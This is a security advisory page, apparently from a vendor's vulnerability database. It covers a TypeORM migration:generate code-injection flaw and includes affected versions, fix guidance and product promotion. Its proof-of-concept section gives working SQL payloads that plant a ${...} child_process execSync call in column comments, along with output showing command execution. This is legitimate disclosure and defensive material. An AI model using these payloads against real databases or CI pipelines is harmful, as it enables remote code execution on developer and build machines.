Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-2rp8-mm9q-fp49

MEDIUM

TypeORM: migration:generate template-literal code injection

Published
Jul 21, 2026
Updated
Jul 21, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

Blast Radius

2 pkgs affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

typeormnpm
5.0Mdownloads / week

Description

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

DriverMetadata sourceSource
Postgrescolumn DEFAULT, COMMENT, CHECK constraints, view definitionsPostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDBCOLUMN_DEFAULT, COLUMN_COMMENTMysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDBSame patterns as PostgresCockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

FileLinesRole
MigrationGenerateCommand.ts117-138Template-literal construction (sink)
PostgresDriver.ts1886-1891escapeComment() — Postgres
MysqlDriver.ts1322-1328escapeComment() — MySQL
CockroachDriver.ts1236-1241escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

VectorResultNotes
Column COMMENTConfirmedProven in PoC below
Column DEFAULTConfirmedAttacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraintNot exploitableMySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitionsNot testedRequires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmtypeormall versions0.3.31
📦npmtypeorm1.0.0&&< 1.1.01.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for typeorm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update typeorm to 0.3.31 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2rp8-mm9q-fp49 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-2rp8-mm9q-fp49 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2rp8-mm9q-fp49. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration. ### Details `MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks: ```typescript " await queryRunner.query(`" + upQuery.query.replaceAll("`", "\\`") + "`" + ... ``` Introspected schema strings reach this sink
O3 Security · Impact-Aware SCA

Is GHSA-2rp8-mm9q-fp49 in your dependencies?

O3 detects GHSA-2rp8-mm9q-fp49 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.